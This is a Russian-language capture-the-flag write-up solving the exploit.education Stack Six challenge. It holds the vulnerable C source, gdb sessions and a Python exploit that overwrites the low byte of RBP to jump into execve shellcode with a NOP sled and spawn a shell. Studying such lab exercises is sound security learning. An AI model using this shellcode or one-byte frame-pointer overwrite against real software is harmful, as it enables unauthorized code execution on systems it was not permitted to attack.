Изучение PWN #7

Изучение PWN #7

Михаил

Полезная информация по ИБ и разборы задачек CTF.

Предыдущая задача - Изучение PWN #6.

Седьмая задача с exploit.education, она же - последняя из блока задач по эксплуатации уязвимостей на стеке - Stack Six. После нее порешаем CTF-таски по пывну с codeby.games

Исходники:

char *what = GREET;
char *greet(char *who) {
 char buffer[128];
 int maxSize;
 maxSize = strlen(who);
 if (maxSize > (sizeof(buffer) - 1)) {
  maxSize = sizeof(buffer) - 1;
 }
 strcpy(buffer, what);
 strncpy(buffer + strlen(buffer), who, maxSize);
 return strdup(buffer);
}

int main(int argc, char **argv) {
 char *ptr;
 printf("%s\n", BANNER);

#ifdef NEWARCH
 if (argv[1]) {
  what = argv[1];
 }
#endif
 ptr = getenv("ExploitEducation");
 if (NULL == ptr) {
  errx(1, "Please specify an environment variable called ExploitEducation");
 }
 printf("%s\n", greet(ptr));
 return 0;
}

В этом уровне необходимо произвести one-byte buffer overflow. Код читает переменную окружения ExploitEducation и передает ее значение в функцию greet в переменную who. Затем копируется GREET-сообщение: "Welcome, I am pleased to meet you". Проверяется размер вводимого значения ( maxSize < 128). Далее копируется введенное значение в адрес (buffer + 34), где 34 - длина GREET-сообщения. 


Если размер введенного значения равен 127, буфер переполнится и перезапишет 34 байта. Таким образом, можно записать 34 + 127 = 161 байт. Однако, этого недостаточно для перезаписи адреса возврата и перенаправления выполнения кода. Мы сможем перезаписать только младший байт регистра RBP.


Модифицированный RBP будет использован для восстановления RSP в конце функции main, после чего произойдет переход к адресу возврата. Идея эксплойта заключается в изменении регистра RBP так, чтобы он указывал на адрес, где RBP+8(адрес возврата функции main) будет указывать на переменную окружения ExploitEducation.

export ExploitEducation=$(python -c "print 'A'*161")
gdb -q /opt/phoenix/amd64/stack-six 
disas greet
b *greet+133
r
info registers rbp
x/22xg $rbp-0xa0

Для получения адреса ExploitEducation используем grep:

Адрес вводимых данных начинается с 0x7fffffffeedd, но реальный адрес начинается после =: 0x7fffffffeedd + len("ExploitEducation=") = 0x7fffffffeeee. Таким образом, адрес возврата должен быть между 0x7fffffffeeee и 0x7fffffffeeee+126. Поскольку можно изменить только последний байт RBP, значение может быть 0x7fffffffe501 и 0x7fffffffe5ff. Установим брейкпоинт в конце main и посмотрим, есть ли подходящий адрес в этом диапазоне.

disas main
b *main+91
r
x/32xg 0x7fffffffe500

Найден адрес 0x7fffffffeeed по адресу 0x7fffffffe588.Переписываем RBP так, чтобы он был равен 0x7fffffffe580. Инструкция leave перенесет значение RBP в RSP и поместит верхнее значение стека (по адресу 0x7ffffffffe580) в RBP. Затем ret переместит следующее значение в RIP (по адресу 0x7fffffffe580).

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
buff = ""
buff += '\x90' * 20 # NOP sled
buff += shellcode
buff += 'A' * (161 - len(buff))
buff += '\x80'
print(buff)

Идея данного эксплойта в том, чтобы переписать RBP так, чтобы он указывал на адрес, где RBP+8 - адрес нашего шеллкода, так чтобы в конце вызова функции RIP указывал на этот адрес.

export ExploitEducation=`python exploit.py`
gdb -q ./stack-six
r

Получаем shell:

Следующее задание - Format Zero.

Report Page